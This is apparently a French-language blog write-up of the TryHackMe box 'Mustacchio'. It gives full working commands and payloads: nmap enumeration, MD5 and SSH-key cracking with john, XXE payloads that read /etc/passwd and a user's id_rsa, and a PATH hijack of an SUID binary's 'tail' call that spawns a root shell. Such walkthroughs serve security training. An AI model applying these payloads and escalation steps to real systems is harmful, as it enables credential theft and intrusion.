S’abonner
Connexion
Please login to comment
0 Commentaires
Mustacchio est une box de TryHackMe basée sur l’énumération et l’injection xxe qui est primordiale pour l’accès au système.
Redacted
Redacted
L’énumération avec nmap ( nmap -T5 -p- 10.10.195.223 ) nous donne 3 ports ouverts
Il n’y a pas beaucoup d’information d’autant plus que les scans avec gobuster ne donne pas plus d’information.
Dans ce cas ( et même tout le temps ), il faut regarder le code source des pages et les analyser. Ici sur la page principale sur le port 80, le code source de la page nous donne pas grand-chose à part ce lien “custom/js/mobile.js“.
D’une manière générale, il faut regarder de partout et cliquer sur tous les liens voir où ça nous mène. La curiosité est certes un vilain défaut, mais là, bon, personne nous en voudra… Bref, mobile.js nous donne ceci :
En bas, après les //,on a une chaîne de caractère qui ressemble à un hash. Pour connaître le type de hash, on peut utiliser hash-identifier .
Commande :
hash-identifier
C’est apparemment un algo MD5. On peut soit le casser nous même avec john, soit utiliser crackstation.net
Commande Méthode avec john:
Mettre le hash dans un fichier
echo ‘hash’ > fichier.hash
Commande pour le casser :
john –format=Raw-MD5 md5 –wordlist=/usr/share/wordlists/rockyou.txt
Une fois que l’on a le mot de passe, il faut tenter de se connecter sur la page de login que l’on a sur cette URL : http://10.10.55.46:8765/home.php
On n’a pas de nom d’utilisateur, mais comme souvent il faut tenter avec le compte admin… surtout sur une box easy
Une fois connecté, on arrive sur une page où il est possible de faire un commentaire sur le site.
Il faut regarder à nouveau le code source de la page qui nous donne cette information.
On a un lien /auth/dontforget.bak et un message concernant une clé ssh. D’abord on tente télécharge le fichier dontforget.bak avec curl.
Commande :
curl http://10.10.55.46:8765/auth/dontforget.bak
On a une sorte de modèle pour faire une injection XXE.
Sur la page GitHub de PayloadsAllTheThings on peut récupérer ce payload là.
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>&xxe;
Il faut le modifier pour le faire correspondre au fichier dontforget.bak. Ainsi on pourra récupérer le contenu du fichier /etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>&xxe;</com>
</comment>
Pour lire plus facilement le fichier /etc/passwd, il faut afficher la source.
On a récupéré les noms d’utilisateurs, mais pas de mot de passe ou de clé ssh. On va vérifier si sur le compte de barry on a un fichier id_rsa. Toujours, avec le même payload mais légèrement modifié, on va récupérer une clé ssh.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa" >]>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>&xxe;</com>
</comment>
La clé est protégée par un mot de passe. On va à nouveau utiliser john pour la casser la protection.
Commandes :
/usr/share/john/ssh2john.py id_rsa > id_rsa.john
john id_rsa.john –wordlist=/usr/share/wordlists/rockyou.txt
Connexion ssh :
ssh barry@10.10.55.46 -i id_rsa
Il faut auparavant modifier les permissions du fichier id_rsa
chmod 600 id_rsa
Une fois connecté sudo -l demande un mot de passe qu’on n’a pas.
Il faut soit passer par linpeas.sh ou faire directement cette commande pour chercher les SUID:
find / -type f -user root -perm -4000 -exec ls -ldb {} \; 2>>/dev/null
Ce qui donne :
Il y en a un qui saute au yeux .
-rwsr-xr-x 1 root root 16832 Jun 12 15:48 /home/joe/live_log
Si on l’exécute, ça donne ceci :
La commande strings est souvent utile quand on a faire à un binaire.
Commande :
strings /home/joe/live_log
On peut voir que le programme exécute l’outil tail pour lire un fichier de log. Tail n’est pas dans un chemin absolu. On va modifier le PATH pour dire au système que Tail se trouve dans le dossier /tmp et dans ce dossier, on va créer un script python qui va nous exécuter un bash. Et on aura rooter la box. Pourquoi ? Parce que live_log s’exécute avec des droits root et que donc il exécutera Tail avec ces mêmes droits root. Donc, il exécutera notre tail qui est dans /tmp avec des droits root. cqfd…
Le script à mettre en place :
#!/usr/bin/python3.5
import os
os.system("/bin/bash")
Modification du PATH :
export PATH=/tmp:$PATH
Exécution du binaire :
/home/joe/live_log
#